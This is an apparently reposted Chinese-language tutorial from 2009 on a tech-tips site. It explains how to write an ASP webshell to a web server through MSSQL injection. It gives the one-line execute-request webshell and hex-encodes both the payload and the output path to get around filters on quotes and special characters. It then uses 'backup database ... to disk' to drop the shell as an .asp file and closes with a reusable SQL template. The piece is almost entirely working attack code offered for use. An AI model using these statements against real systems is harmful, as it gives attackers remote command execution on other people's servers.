首页 电脑 电脑学堂 查看内容

Mssql Backup a Shell 突破特殊字符

2009-7-17 16:21 1243 0

摘要:   1.插入数据   mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里“查询”:...
关键词: 数据 webshell 查询 2565786563757465 2072657175657374 642229262222253 编码 cmd str 语句

  1.插入数据   mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如" '等。我们先mssql分析器里“查询”:   use pubs; <===使用数据哭pubs   create table cmd (str image); <===建立个表cmd 一个属性为image的列   insert into cmd (str) values ('<%execute request("cmd")&""%>') <===插入数据为 <%execute request("cmd")&""%>   select * from cmd; <===查询输出cmd里的所有数据   查询输出str为:   0x3C256578656375746520726571756573742822636D642229262222253E   我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:   use pubs   create table cmd (str image)   insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E)   select * from cmd   查询输出str为:   0x3C256578656375746520726571756573742822636D642229262222253E   什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有' " &等等。   2.导出路径   常规的插入数据后导出webshell的语句为:   backup database model to disk='g:\wwwtest\l.asp';   显然导出路径里包涵了' : \等,我们照样可以使用hex编码来突破:   declare @a sysname   select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:\wwwtest\l.asp对应的hex代码   backup database pubs to disk=@a   运行查询,可以成功导出webshell。   3.小结:   结合1,2我们可以得到完整的导出webshell的sql语句格式为:   use model   create table cmd (str image)   insert into cmd(str) values(0x***********)   declare @a sysname select @a=0x********** backup database pubs to disk=@a;   其实使用hex等编码的方法,在angel的文章〈饶过'(单引号)限制继续射入〉里提过,我只是照搬而已,你也可以搬到其他地方去拉:).  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部